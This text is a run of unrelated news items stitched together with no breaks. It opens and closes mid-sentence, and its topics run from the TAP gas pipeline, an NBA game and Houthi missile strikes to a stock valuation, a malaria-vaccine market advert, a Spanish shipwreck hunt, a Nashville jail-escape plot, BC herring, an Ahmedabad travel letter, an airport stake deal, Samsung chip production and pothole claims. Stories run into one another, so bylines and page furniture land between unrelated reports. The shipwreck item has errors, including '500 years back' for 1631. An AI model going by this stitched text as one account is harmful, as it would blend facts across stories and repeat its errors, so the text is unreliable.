Albania and the Adriatic Sea before coming ashore in Southern Italy to connect to the Italian natural gas network. The project is currently in its construction phase, which started in 2016. Once built, TAP will offer a direct and cost-effective transportation route opening up the vital Southern Gas Corridor, a 3,500-kilometer long gas value chain stretching from the Caspian Sea to Europe. TAP shareholders include BP (20 percent), SOCAR (20 percent), Snam S.p.A. (20 percent), Fluxys (19 percent), Enagas (16 percent) and Axpo (5 percent). --- Follow the author on Twitter: @Lyaman_Zeyn The Atlanta Hawks hosted the first annual Quavo Night, honoring the rapper from the group 'Migos', Quavo Huncho. All game attendees received a free shirt emblazoned to memorialize the event. The Atlanta-Made got to see an incredible performance by Trae Young. The second year player polished off the Miami Heat with a career-high performance: 50 points on 12 of 25 shooting with 8 assists and 8 made 3-pointers. Young gifted his game-worn City Edition jersey to the nights off-court star. Quavo has previously called himself a fan of Young. He even released a song titled 'IceTray', making reference to the Indiana product. Saudi Air Defence has intercepted and destroyed several ballistic missiles launched from Yemen's capital of Sanaa towards its territory, the Saudi Press Agency reported on Thursday citing the spokesman for the Saudi-led coalition, Col. Turki Al-Maliki, Trend reports citing Sputnik. It added that the attacks were carried out by the Houthi rebels and targeted "cities and civilians". The missiles were reportedly thwarted by the Patriot PAC-3 air defence system. Al-Maliki has condemned the launches as "barbaric". Yemen has been engulfed in an ongoing armed conflict between pro-Saudi forces led by President Abd Rabbuh Mansur Hadi and the Houthis since 2015. Union Minister Prahlad Patel on Friday said the construction of the Ram Temple in Ayodhya in Uttar Pradesh will boost tourism and will play a crucial role in India's quest of becoming a USD 5 trillion economy. He said the Centre and UP government were working to speed up construction of the temple. "With the construction of Ram Temple, the tourism industry will get a boost. The Centre and the UP government are working speedily for the construction of the temple," he told reporters here. Patel said his ministry had chalked out plans to train the guides in order to reach the goal of becoming a USD 5 trillion economy. The Union tourism minister said his ministry was also working to increase tourist footfalls at monuments in far flung areas, for which Class XII students from villages would be groomed through online courses to become guides. He said the Indian Institute of Tourism and Travel Management will oversee the training for guides. He said the Archaeological Survey of India (ASI) was looking after 2691 monuments currently, and this number was supposed to reach 10,000 in the time to come. On the issue of a separate tourism police, Patel said it was an important aspect and was being looked into. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) China Taiping Insurance Holdings Company Limited (HKG:966), which is in the insurance business, and is based in Hong Kong, saw significant share price movement during recent months on the SEHK, rising to highs of HK$20.40 and falling to the lows of HK$16.38. Some share price movements can give investors a better opportunity to enter into the stock, and potentially buy at a lower price. A question to answer is whether China Taiping Insurance Holdings's current trading price of HK$17.36 reflective of the actual value of the mid-cap? Or is it currently undervalued, providing us with the opportunity to buy? Lets take a look at China Taiping Insurance Holdingss outlook and value based on the most recent financial data to see if there are any catalysts for a price change. Check out our latest analysis for China Taiping Insurance Holdings What's the opportunity in China Taiping Insurance Holdings? The stock seems fairly valued at the moment according to my relative valuation model. Ive used the price-to-earnings ratio in this instance because theres not enough visibility to forecast its cash flows. The stocks ratio of 7.64x is currently trading slightly below its industry peers ratio of 9.4x, which means if you buy China Taiping Insurance Holdings today, youd be paying a reasonable price for it. And if you believe China Taiping Insurance Holdings should be trading in this range, then there isnt much room for the share price grow beyond where its currently trading. Although, there may be an opportunity to buy in the future. This is because China Taiping Insurance Holdingss beta (a measure of share price volatility) is high, meaning its price movements will be exaggerated relative to the rest of the market. If the market is bearish, the companys shares will likely fall by more than the rest of the market, providing a prime buying opportunity. What does the future of China Taiping Insurance Holdings look like? SEHK:966 Past and Future Earnings, February 21st 2020 Investors looking for growth in their portfolio may want to consider the prospects of a company before buying its shares. Buying a great company with a robust outlook at a cheap price is always a good investment, so lets also take a look at the company's future expectations. China Taiping Insurance Holdingss earnings over the next few years are expected to increase by 32%, indicating a highly optimistic future ahead. This should lead to more robust cash flows, feeding into a higher share value. Story continues What this means for you: Are you a shareholder? It seems like the market has already priced in 966s positive outlook, with shares trading around its fair value. However, there are also other important factors which we havent considered today, such as the track record of its management team. Have these factors changed since the last time you looked at 966? Will you have enough conviction to buy should the price fluctuate below the true value? Are you a potential investor? If youve been keeping tabs on 966, now may not be the most optimal time to buy, given it is trading around its fair value. However, the optimistic forecast is encouraging for 966, which means its worth diving deeper into other factors such as the strength of its balance sheet, in order to take advantage of the next price drop. Price is just the tip of the iceberg. Dig deeper into what truly matters the fundamentals before you make a decision on China Taiping Insurance Holdings. You can find everything you need to know about China Taiping Insurance Holdings in the latest infographic research report. If you are no longer interested in China Taiping Insurance Holdings, you can use our free platform to see my list of over 50 other stocks with a high growth potential. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. The Democrats lack of interest in the world will also be noted. Foreign policy was barely mentioned in Las Vegas. As the candidates shouted at each other, they seemed unaware that voters would be judging them in part on their fitness to be commander in chief. Rather than discuss rational global climate policies, such as a carbon tax, they talked about putting U.S. energy executives in jail. Malaria Vaccines Market 2020 Wiseguyreports.Com Adds Malaria Vaccines Global Market Growth, Opportunities, Analysis of Top Key Players and Forecast to 2026 To Its Research Database. Description: The purpose of the report is to provide a comprehensive and detailed analysis for the industry Malaria Vaccines. The report takes 2020 as the base year and considers a wide range of factors affecting the industry to provide a forecast till the year 2026. The information provided by the report can be used by industry and market analysts as well as by people who have an interest in the industry. The data used in the report is reliable and accurate. Primary and secondary research has been conducted to collect the data. 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The following manufacturers are covered: GlaxoSmithKline plc Sanaria Inc Nobelpharma Co Sumaya Biotech GenVec Request Free Sample Report @ https://www.wiseguyreports.com/sample-request/4940215-global-malaria-vaccines-market-research-report-2020 Segment by Regions North America Europe China Japan Segment by Type Pre-Erythrocytic Vaccine Erythrocytic Vaccine Multi-antigen Vaccine Segment by Application Hospitals Clinics Community Centers Enquiry Before Buying @ https://www.wiseguyreports.com/enquiry/4940215-global-malaria-vaccines-market-research-report-2020 If you have any special requirements, please let us know and we will offer you the report as you want. Segmental Analysis: The industry Malaria Vaccines is segmented on the basis of the applications, end-users as well as the type of products and services it provides. The report therefore studies the industry on the basis of these segments. The report provides detailed data related to the applications that drive the growth of the industry. The report also discusses the products and services and their end-users who make a significant contribution to the revenue of the industry Malaria Vaccines. New product innovations by the industry are also talked about in the report. Table of Content: 1 Malaria Vaccines Market Overview 1.1 Product Overview and Scope of Malaria Vaccines 1.2 Malaria Vaccines Segment by Type 1.2.1 Global Malaria Vaccines Sales Growth Rate Comparison by Type (2021-2026) 1.2.2 Pre-Erythrocytic Vaccine 1.2.3 Erythrocytic Vaccine 1.2.4 Multi-antigen Vaccine 1.3 Malaria Vaccines Segment by Application 1.3.1 Malaria Vaccines Sales Comparison by Application: 2020 VS 2026 1.3.2 Hospitals 1.3.3 Clinics 1.3.4 Community Centers 1.4 Global Malaria Vaccines Market Size Estimates and Forecasts 1.4.1 Global Malaria Vaccines Revenue 2015-2026 1.4.2 Global Malaria Vaccines Sales 2015-2026 1.4.3 Malaria Vaccines Market Size by Region: 2020 Versus 2026 6 Company Profiles and Key Figures in Malaria Vaccines Business 6.1 GlaxoSmithKline plc 6.1.1 Corporation Information 6.1.2 GlaxoSmithKline plc Description, Business Overview and Total Revenue 6.1.3 GlaxoSmithKline plc Malaria Vaccines Sales, Revenue and Gross Margin (2015-2020) 6.1.4 GlaxoSmithKline plc Products Offered 6.1.5 GlaxoSmithKline plc Recent Development 6.2 Sanaria Inc 6.2.1 Sanaria Inc Malaria Vaccines Production Sites and Area Served 6.2.2 Sanaria Inc Description, Business Overview and Total Revenue 6.2.3 Sanaria Inc Malaria Vaccines Sales, Revenue and Gross Margin (2015-2020) 6.2.4 Sanaria Inc Products Offered 6.2.5 Sanaria Inc Recent Development 6.3 Nobelpharma Co 6.3.1 Nobelpharma Co Malaria Vaccines Production Sites and Area Served 6.3.2 Nobelpharma Co Description, Business Overview and Total Revenue 6.3.3 Nobelpharma Co Malaria Vaccines Sales, Revenue and Gross Margin (2015-2020) 6.3.4 Nobelpharma Co Products Offered 6.3.5 Nobelpharma Co Recent Development 6.4 Sumaya Biotech 6.4.1 Sumaya Biotech Malaria Vaccines Production Sites and Area Served 6.4.2 Sumaya Biotech Description, Business Overview and Total Revenue 6.4.3 Sumaya Biotech Malaria Vaccines Sales, Revenue and Gross Margin (2015-2020) 6.4.4 Sumaya Biotech Products Offered 6.4.5 Sumaya Biotech Recent Development 6.5 GenVec 6.5.1 GenVec Malaria Vaccines Production Sites and Area Served 6.5.2 GenVec Description, Business Overview and Total Revenue 6.5.3 GenVec Malaria Vaccines Sales, Revenue and Gross Margin (2015-2020) 6.5.4 GenVec Products Offered 6.5.5 GenVec Recent Development Continued.. Contact US: NORAH TRENT Partner Relations & Marketing Manager sales@wiseguyreports.com Ph: +1-646-845-9349 (US) Ph: +44 208 133 9349 (UK) On the way back to Spain from Mexico, the Nuestra Senora del Juncal or simply the Juncal, was struck by a disaster at sea as it sink back in October 1631. The ship is said to carry a marvellous treasure trove for the Spanish monarchy. If it were to be valued at today's prices, it would cost billions. Soon, the hunt for the 17th-century shipwreck will be the stuff of treasure hunter's dreams. Sailors had a knack for omens, and these omens on the Juncal's journey was not good. Before the ill-fated journey that resulted in fatalities, the commander dies prior to the ship's departure from the port. It was also not fit for sailing with a leaking hull. Eventually, the treasure galleon sank with all the wealth to the bottom of the sea. The ill fate of the Juncal at sea After leaving the port of Mexico, the Nuestra Senora del Juncal was met with the fury of the sea, with winds and gales, including waves that could destroy the galleon. The crew decided to lighten the ship and dumped cannons and cannonballs to keep the prow above the waterline. Losing cannons means getting at the mercy of English and French pirates, corsairs who would loot the ship. Even the mainsail had to be cut down to keep them from sinking. All was for naught and the Juncal went down in a storm with treasure and sailors on board. Also read: Oddities of Nature: Ice Volcanoes Erupting on Lake Michigan From 300 souls on board that included passengers and sailors, only 39 lived to tell the tale of the Juncal's sinking. All who live were huddled in a small rowboat. But some wrote memoirs that gave a clue where the wreck might be, including its fantastic cargo of treasure. Locating the 17th-century shipwreck and its treasure depends on these accounts. Survivor Accounts Lead Way to Discovery The survivors of Nuestra Senora del Juncal gave clues to the whereabouts of the ship where it sank. Marine archaeologists are now on a search to find the Juncal shipwreck and the artefacts in it. On May 2020, an expedition will attempt to locate the ship finally in 10-day search. Joining the search are Mexican and Spanish scientists who will jointly explore the hunt after an MOA signed in 2014. Studying shipwrecks of the colonial period in the Gulf of Mexico, as cooperation. Nuestra Senora del Juncal treasure cooperation and joint venture Dr. Ivan Negueruela and Roberto Junco, among others who will work on the project, are going to hunt and search for the nuncal based on the records of the survivors about 500 years back. These records will guide the Spanish and Mexican explorers where the treasure galleon might be resting now. One focus is the king's ransom of precious metals and other valuables that might be the biggest treasure trove amounting 1 billion. Previously problems with ownership of wrecks was a problem for many. Another Spanish treasure galleon, Nuestra Senora de las Mecedes was the center of the dispute between the Black Swan Project and Spanish Government, arguing who owned the wreck. Successfully locating the Nuestra Senora del Juncal will not be easy, especially that 17th-century shipwreck is at the mercy of many conditions underwater. Should the treasure exist, getting it will not be easy after five-hundreds years of shift ocean current. However, when found, its artefacts will bring light how it sank and who were on-board. Related article: America's F-100 Supersonic Fighter Plane, China's JH-7A Fighter Bomber Comparison @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Connecticut State Police / Contributed NORTH STONINGTON A group of loose cows clogged up traffic on Route 184 Friday morning a rare occurrence, but one that led to a job well-done. According to a tweet from the Connecticut State Police, troopers were dispatched to the road in North Stonington to handle the bovine blockage. Nashville Metro Police Department A longtime criminal justice advocate in Tennessee has been accused of stashing guns to mount a "massive escape" at a local jail, according to police. Davidson County Sheriff Daron Hall alleges that Alex Friedmann was hiding guns and other tools, along with ammunition, in a planned detention centre while it was under construction. Police found three loaded guns and other tools at the site. Sheriff Hall called Mr Friedmann's alleged break-in "the most significant breach in Nashville history" an "evil" act that would endanger the lives of law enforcement officers. Mr Friedmann was charged with felony vandalism stemming from a January arrest for sneaking into the facility with a cooler full of bolt cutters and other tools. He's being held on a $2.5m bond at Riverbend Maximum Security Institution, according to sheriff's records. He was arrested in January and charged with attempted burglary and evidence tampering. Mr Friedmann was sentenced to 10 years in prison following an assault charge and has spent the last 20 years following his release in 1999 as an advocate for criminal justice reform, writing for legal journals, testifying to Congress and editing Prison Legal News, the monthly publication from the Human Rights Defense Center. Nashville Metro Police say that Mr Friedmann and others disguised themselves as contruction workers at the unfinished Downtown Detention Center to hide loaded guns and ammunition inside. Police say that he tried to destroy a copy of the building's schematics by ripping it up and eating it after his arrest. Herring and UNDRIP: Narrowing choices in an ecological collapse by Loys Maingon February 20,2020 | Source: Watershed Sentinel Increasingly, there is a yawning gap between the apparent growing prosperity and abundance that we experience daily, and the ecological collapse around us that is hardly noticed, and only discussed in arcane circles of environmental scientists and First Nations. In British Columbia, Canada, a provincial fisheries collapse and the consequent news that fishermen will need to be economically bailed out are reported by news outlets only to fall on deaf ears. Letters in Science (November 2019) with what might once have been considered alarmist titles, such as: Salmon in clear and present danger note laconically that: Habitat destruction has driven the collapse of wild salmon fisheries from California to Washington, where 93% of wild salmon abundance has been lost. Assuming that somehow the reality of the ongoing salmon collapse is different in BC, those now-banal data only draw a yawn. It is, however, a global cultural problem as we see science increasingly marginalized in public planning and decision making. There appears to be a large dissonance between what is actually happening to the state of the environment around us, our material expectations, and the assumptions we make about the stability of the resource environment. We treat a rapidly changing and deteriorating environment as though it remains the cornucopia of infinite resources it was at the time of contact, and as if the drivers of change have had no significant long-term or cumulative impacts. Even local increases in species richness, which give the misleading illusion of increasing biodiversity, can set the stage for a decline in local resilience. Therefore, what we appear to be witnessing, particularly in ocean ecosystems, is a human-driven instability in biodiversity which is a prelude to ecosystem collapse. The point that most people seem to miss is that it is not just the species composition that is changing. It is the matrix or envelope of that composition that we are rapidly changing, with foreseeable consequences. There is growing concern over the collapse of the herring fishery throughout the BC coast. It is felt that it is a product of the DFOs over-estimation and questionable mismanagement of the stock. After decades of opposition to the DFOs management of herring, in 2016 the Supreme Court enabled the Heiltsuk Nation to enter in a joint-management agreement with the DFO. Notwithstanding teething disagreements, the Heiltsuk management protocols have now returned to traditional management practices which do not target adult fish and which limit the roe fishery. The success of this agreement has motivated First Nations around the Salish Sea to advocate for a similar arrangement to control the fishery at Lambert Channel and throughout the Salish Sea. In November, Saanich Nation WSANEC Leadership Council (WLC) of Tsartlip, Tseycum, and Tsawout First Nations invited 25 local First Nations and 50 community organizations to an event called HELIT TTE SLON,ET (Let the Herring Live), to develop the groundwork for a traditional management agreement based on science, similar to the Heiltsuk joint management agreement. Fundamental to this effort is the question of social licence. The DFOs decades of mismanagement, and the interests that have benefited from this, have largely lost the support of both fishing communities and the public. Unlike fisheries from previous decades, the BC commercial fleet is no longer a quilt work of small boat owners. The commercial fleet is now concentrated in the ownership of BCs richest billionaire, and therefore the benefits of a destructive fishery are mostly accrued by one billionaire. The discussion raised by the WSANEC Leadership Council comes at a very opportune moment in BCs history. BC has become the first province in Canada to move to endorse as part of its laws the United Nations Declaration on the Rights of Indigenous People (UNDRIP). This is a matter of momentous importance for environmental biologists working around BC. Most of BC is still on unceded territory, and therefore, in principle, the environment is to be managed at the very least through joint management agreements with the rightful owners. There is now an obligation to act in good faith and to work jointly. 1990 - 2020 Watershed Sentinel Theme(s): Others, Fishing Craft, Gear and Fishing Methods, Post Harvest Technology and Trade, Freshwater ecosystems and threats, Landing Centres, Coastal Ecosystems and Threats, Fisheries Development and Aquaculture, Communities and Organisations, Fisheries Resources. As Melania Trump arrives in Ahmedabad, Sheela Bhatt offers the First Lady Of The United States a primer on one of India's oldest, and historic, cities. IMAGE: Women pose with body paint tattoos sketched on their backs in preparation for Navratri, a festival when devotees worship the Hindu goddess Durga, in Ahmedabad, September 24, 2019. Photograph: Amit Dave/Reuters Dear Melania Trump, Welcome to the heritage city of Ahmedabad! One is aware of your resolve as a woman and as a wife in the White House. Frankly, that inspired me to share with you some insights into the medieval city of Ahmedabad, also known as Amdavad in local parlance, which you will visit with your husband on February 24. Established on the banks of the Sabarmati river in 1411 by Sultan Ahmed Shah, some 81 years before Christopher Columbus discovered America in 1492. Ahmedabad derives its name from its founder, and is part the pre-Mughal era of our history. There are many myths and legends as to why the sultan established a city on the banks of the Sabarmati. The most famous legend, of course, is that when he went hunting he saw a hare chasing a dog. He felt that such land where the weak challenges the strong must be unique and decided to establish a city here. It is a city steeped in history. In fact, two days after your visit, Ahmedabad will celebrate its 609th birthday. The city is much older than India's mega metros like Mumbai, Kolkata and Chennai. Yes, Delhi is older than Ahmedabad, but the latter has a less treacherous history. The city has witnessed many religions blending and surviving in the shape of enduring monuments, affecting trade practices and influencing languages. IMAGE: Colourful kites take to the the skies at Ahmedabad's kite festival. Photograph: Amit Dave/Reuters Ahmedabad is a stark example of the history of mankind and the processes of civilisations over centuries where strife between various groups and their inescapable symbiotic relations evolve and co-exist simultaneously. Whether it's the passion for kite-flying or the centuries-old marvellous wood carvings, in rows of homes in narrow lanes, and in the designs of jaalis (lattice), jarokhas (hanging balcony with roof), jhoolas (swings in homes) and the breath-taking sandstone architecture of stepwells, all speak volumes for Hindu-Muslim partnership in the making of the unique civilisational process of Ahmedabad and India. The city's main spoken language, Gujarati, is highly influenced by Persian. In fact it is difficult to write a paragraph in Gujarati without using farsi (Persian). It is a wonderful city also because it is shaped, over many centuries, largely by its people's enterprising nature and understanding of and equation with money in their lives. Sharmila Sagara, artist and co-editor of Ahmedabad 600: Portraits of a City, says, "Ahmedabad is the only city in India where history is still living since its establishment which is 600 years. It is the spirit of the city that invited different rulers due to its progressive nature. This brought people from many faiths who brought their arts, crafts, culture, traditions and city nurtured it to flourish through social, political and economical means." "The city stands on the values of traditional and modernity to progress towards the future and this can be seen in its present architecture, its great education institutes, its people, its food and its fashion even today," Sharmila adds. IMAGE: A Muslim prays inside a shrine during the holy month of Ramazan in Ahmedabad, May 29, 2019. Photograph: Amit Dave/Reuters Ahmedabad is known for its prosperity, entrepreneurship, textile industry, robust commercial sense, thriving mercantile culture, Bhakti movement, old city structures, breath-taking medieval and modern architecture, various mass movements against its rulers including the British. Significantly, Ahmedabad is Mahatma Gandhi's karmabhoomi (land of duty) and was the takeoff point for his movement for independence. It remained his base camp for the first 15 years, and he lived here for around five-and-a-half years. It is no exaggeration to say that people's routine lives, in a city where liquor is prohibited, is set around different times of the day to cherish different cuisines. Food is the primary language of communication here. The mantra of 'earn and eat' keeps them running. Photograph: Anita Aikara/ Rediff.com IMAGE: A delicious Gujarati thali. Ahmedabad's traditional food is deeply influenced by Jain families. The followers of Jainism are vegetarian and they observe strict food restrictions. Their religion prohibits the eating of all underground vegetables including potatoes, onions, garlic, ginger, carrots, radish and even mushrooms. They have been in international trade since hundreds of years and dominate social habits in a big way. Jain cuisine is delicately prepared. In modern India no city can beat the street food of Ahmedabad in experimentation. This can go to unimaginable and even ridiculous limits. For instance, there is a dish called Pineapple Sandwich that uses lavish proportions of butter, cheese, and pineapple rings on bread and is the most popular item in Manek Chowk, the most sought after lane for food. Someone has planned your gracious self and your husband's visit after giving it great thought. You will visit three cities -- Ahmedabad, Agra and Delhi -- all of which have a fascinating history. Under Mughal rule (1526 to the mid-18th century) Agra was the highest tax-paying city and Ahmedabad was a close second, suggesting how trade flourished in both cities. Since then Mahajan (merchants, also called Baniyas -- they can be Hindu, Muslim and Jain -- in colloquial Gujarati) culture, traditions and beliefs have dominated the public perception of Gujarat within and outside India. Since centuries merchants of this city have enjoyed power and prestige. Ahmedabad is quite an uncommon city in India where the rich and famous aren't apologetic for being so. The city has seen continuous inward and outward migration for the last few decades and, sadly, now sees more people living in slums than before -- largely immigrants. IMAGE: Shoppers crowd a market place ahead of Diwali, the Hindu festival of lights, in Ahmedabad, October 22, 2019. Photograph: Amit Dave/Reuters There was a controversy before you arrived in the city. The local government was accused of building a wall to cover up the Sarania colony to shield the poor on your and your husband's route from the airport. But, can you believe this! Keshiben Balabhai Sarania, a lady who lives behind the wall, had no complaints at all about the government's awkward attempt. Instead, she told a local reporter, "I wanted to see Trump's wife but now I may not be able to see her." That's the typical, normal Ahmedabadi for you. Unfortunately, since the late 20th century, the city has witnessed communal flare-ups, too, with a far-reaching impact on national politics. But, let me hasten to add, that is not its basic characteristic. With its Indo-Islamic influence of the past and Indo-European influences in the building of modern Ahmedabad, and with the sharp commercial instincts of its people and given its decades-long history of fusion of cultures that is so deeply entrenched in the DNA its pluralistic identity and its habit of a realist approach to issues of life, Ahmedabad will never self-destruct. Here reside pragmatic entrepreneurs with a global worldview. In the last four decades Ahmedabad's prime engineering and medical colleges boast of training more than 6,000 doctors and engineers who have a thriving practice in your country. America is so present in the daily discourse because of the deep linkage of the Indian Diaspora that psychologically, America is part of the mental landscape of many families. You are a daughter of immigrant parents so you know how it feels to adopt to and absorb a new land. Like typical Americans, people here thrive on the ever-growing hope of making it big one day. There is a lot to shop here, but your less than four hours visit won't allow you that luxury, probably. If it did, you could have taken a prototype of a Jharokha or maybe Ashavali saris or stoles. It is believed that Ashavali town existed even before Ahmedabad was established. Ashavali textiles are an intricate weaving of golden brocade with motifs of plants and animals with Persian designs and stories of Lord Krishna as well. However, without a visit to the Old city, also known as the Walled City, you won't be able to touch the essence of Ahmedabad. IMAGE: The Ahmedabad Flower show 2020 was based on Mahatma Gandhi. The city was the Mahatma's base camp for 15 years, and he lived here for around five-and-a-half years. Photograph: ANI Photo As Achyut Yagnik, co-author of Ahmedabad -- From Royal City To Megacity -- from which I have sourced some information -- says, "The old city of Ahmedabad, also known as the Walled City, epitomises its history and its core character." When, and if, you see the Sidi Saiyyed ni Jali built in 1573 in the Old City, you will get goose bumps on seeing the intricate carvings in stone of the lively play of banyan and palm trees with branches and foliage. Of course, since the 1950s the most moving part of Ahmedabad is the serene and historic Gandhi Ashram. To stay in the ashram, Gandhiji wanted its resident to take six vows: Truth, non-violence, celibacy, non-stealing, non-possession and control of one's palate. Gandhi started the radical social reform of its time, removing untouchability, from here. He shaped Ahmedabad just as Ahmedabad too shaped him. This is a city that respects and understands migrants, immigrants and globetrotters and now opens its arms and hearts for you. France's Groupe ADP will acquire 49 per cent stake in GMR Infrastructure's airport business for Rs 10,780 crore, a move that will help GMR reduce the debt burden and Groupe ADP spread its global footprints. "The first tranche of Rs 5,248 crore will be received by GMR Group immediately. This money will help deleverage the group further and result in improved cash flows and profitability," the group said in a statement. Groupe ADP said the operation would unfold in two phases: a first phase would be realised in the coming days for a 24.99 per cent stake, while the second phase, for 24.01 per cent, was subject to certain regulatory approvals from the Reserve Bank of India, and would be concluded in the upcoming months. Under a share purchase agreement, Groupe ADP will buy 49 per cent stake in GMR Airports Ltd (GAL) for an equity consideration of Rs 10,780 crore. This values GAL at the base post-money valuation of Rs 22,000 crore. Out of the total amount, Rs 9,780 crore would be towards the secondary sale of shares by GMR group and Rs 1,000 crore would be equity infusion in GAL, the company said in a statement. "As part of the terms of the transaction, GMR will retain management control over the Airports Business with Groupe ADP having the customary rights and Board representation at GAL & its key subsidiaries," it said. Also read: Centre doles out Rs 19,950 crore GST compensation to states, UTs Both GMR Airports and Groupe ADP handled total 336.5 million passengers in 2019, which is "the highest across the world", the company said. GMR group operates Indira Gandhi International Airport in New Delhi, Hyderabad's Rajiv Gandhi International Airport and Mactan Cebu International Airport in partnership with Megawide in the Philippines, while Groupe ADP develops and manages airports, including Paris-Charles de Gaulle, Paris-Orly and Paris-Le Bourget. "The partnership with Groupe ADP is in line with GMR's business direction to become a global airport developer and operator... With Groupe ADP, GMR will have smoother access to global markets, opening up newer avenues of business growth," GMR Group Chairman G M Rao said. Augustin de Romanet Chairman and CEO of Aeroports de Paris SA-Groupe ADP said the acquisition of 49 per cent stake in GAL fits within Groupe ADP's strategy. "This acquisition comes with a robust industrial partnership and enables Groupe ADP to build, only two years after taking control of TAV Airports, a unique worldwide network of airports with solid industrial expertise and strong development capacities. Medium and long term growth driver, this acquisition is a transforming position for the group in one of Asia's most dynamic and promising countries," he said. Also read: Sunil Mittal meets Telecom Minister Ravi Shankar Prasad amid 'unprecedented' AGR crisis Airports at Mopa in Goa and Heraklion, Crete, Greece in partnership with GEK Terna, are under development by GMR Group. During the fiscal year 2019, GMR Airports recorded a total revenue of Rs 5,500 crore and reported an EBITDA of Rs 1,591 crore. Edited by Manoj Sharma Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 Agricultural experts have called on the government to introduce programs in response to climate change, which has begun to affect food production in parts of the country. Bustanul Arifin, a professor of agricultural economics at the University of Lampung (Unila), said on Tuesday that the government should, for example, establish a mitigation or adaptation plan with concrete measures to minimize the impacts of climate change. The senior economist said rising temperatures caused by climate change made plants like rice and wheat ripen faster and dry quicker, resulting in a fall in production. With an effective mitigation and adaption plan, the impact of changing weather patterns on farming could be minimized, Bustanul said. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login A lawmaker from Colorado had proposed to replace the term 'illegal alien' with 'undocumented immigrant.' The proposed change of the term was introduced by the lawmaker on Thursday. The proposal had been heard in the states of California and New York City said an article from USA Today. Several efforts for a similar cause had been proposed to contend with how language is conflicted with conversations involving immigration. If the proposed changes of the terms are passed, the Colorado House Bill (sponsored by Representative Susan) will obligate public contracts to change 'illegal alien' with an undocumented immigrant. This is a similar law from California wherein the term 'alien' was terminated in the labor code of the state in 2015. Also, in September, New York banned derogatory use of the term as an act pf preventing discriminatory acts involving the immigration status of people in the country. The Colorado House Bill's Supporters vs Non-supporters Some people expressed their disagreement with the passing of the bill to legalize the change of the term 'illegal alien.' Some of these people state that the term had been used as a legal term to describe the individuals who enter United States soil without authorization. Also, they said that the term is being used in the Immigration and Nationality Act and other federal laws. According to Hans von Spakovsky of the think tank Heritage Foundation and a non-supporter of the bill believed that the proposed alternative to the term illegal alien was not correct and not precise. A Similar Bill in 2019 On the other hand, some supporters of the effort had expressed their disagreement with the proposed bill. They said that the term 'illegal alien' is being used for people who went to the United States of America without authority from the country. They believed that the term dehumanizes immigrants. In 2019, Representative Joaquin Castro contacted Congress to change the term with 'foreign national.' It was his way of introducing a new bill that creates a more welcoming environment for this group of people. According to Castro, it is important to consider the dignity of immigrants with due respect. He said that these immigrants may have fled their originating nation due to intense violence and prosecution. He said that the language used to describe them should be humane. He expressed how the words 'alien' and 'illegal alien' make the community of migrants demonized and dehumanized. The 2019 Bill was not able to survive in the committee stage. However, studies had revealed that anti-immigration political rhetoric can influence policymaking and negatively impact the mental and physical well-being of foreign nationals. Approximately, there are 10 million undocumented immigrants in the United States of America, said Pew Research Center. The majority of these people originate from Asia, Central America, and Mexico. It is assessed that a minimum of 16.7 million people from the US has a minimum of one undocumented immigrant in their home. According to Attorney General William Barr, in the pursuit of personal ambition and mistaken notions, the supporters of the proposed bill to change the term 'illegal alien' to 'undocumented immigrant' may have been violating the law and illicitly discriminating against the citizens of the US. Samsung has begun mass producing 6nm and 7nm EUV (Extreme Ultraviolet) chips at its new cutting-edge semiconductor fabrication line in Hwaseong, South Korea. The facility, which is named V1, is Samsungs first dedicated semiconductor production line for manufacturing chips using the EUV process. The company says its first products will be delivered to customers in the first quarter of 2020. The V1 line opened in February 2018. It started testing wafers production in the second half of 2019. This state-of-the-art facility currently produces 7nm and 6nm EUV chips. It can produce circuitry up to the 3nm process node. Advertisement Samsung has already completed the product design for 5nm chips and started the process development for 4nm chips. The 3nm process node is currently in a design and testing phase. In accordance with Samsungs plan, the cumulative total investment in the V1 line will reach $6 billion by the end of this year. The company also hopes to triple the production capacity from that of 2019. With the V1 line in operation, Samsung now has six operational foundry production lines globally. It has one (S2 line) in Austin, USA, two (6 and S1 lines) in Giheung, Korea, and three (V1, S3, and S4 lines) in Hwaseong, Korea. The companys S1, S3, and V1 facilities are capable of producing sub-10nm chips. Advertisement Samsung starts mass production of 6nm and 7nm EUV chips Samsungs foundry business has been going through difficult times lately. Over the last few years, the company lost two of its biggest customers, Qualcomm and Apple. Both of them have migrated to Samsungs rival TSMC (Taiwan Semiconductor Manufacturing Company). While Apple still remains with TSMC, Qualcomm returned to Samsung for the mid-range Snapdragon 765 chipset last year. Samsung also recently bagged a contract to supply some part of Qualcomms X60 5G modem using 5nm technology. The new modem will make its way into phones next year. Now with it starting mass producing 6nm and 7nm EUV chips, it remains to be seen if the company will be manufacturing more chips for Qualcomm this year, or in the coming years. Advertisement Samsung says the EUV lithography process provides an optimal choice for next-generation applications such as 5G, AI, and automotive. The company expects the new V1 line to play a pivotal role in responding to the fast-growing global market demand for single-digit node foundry technologies. As we ramp up production, the V1 line will enhance our ability to respond to market demand and expand opportunities to support our customers, said Dr. ES Jung, President and Head of Foundry Business, Samsung. The number of pothole compensation claims made by local motorists has jumped by nearly 60% in three years. One area, Newry and Down, reported an increase of 90%, rising from 226 to 429 claims between 2016/17 and 2018/19. A total of 10,801 compensation claims were made during the three-year period. The figures were released by Infrastructure Minister Nichola Mallon in response to an Assembly question from Newry and Armagh SDLP MLA Justin McNulty. Broken down by the Department for Infrastructure's (Dfi) 11 office areas, Newry and Down (east and west offices) has the highest number of claims, with 1,518 recorded over the three years. Second highest is Belfast (north and south), with 1,234, followed by Lisburn and Castlereagh on 1,168. Fourth is Armagh City, Banbridge and Craigavon (east and west offices) with 1,118 claims. It was one place higher than Mid Ulster (1,140), with Fermanagh and Omagh in sixth (948). Mid and East Antrim was seventh (841), followed by Ards and North Down with 803 claims. Ninth place went Antrim and Newtownabbey (764), which had 92 more claims than tenth-placed Causeway Coast and Glens (672). Derry and 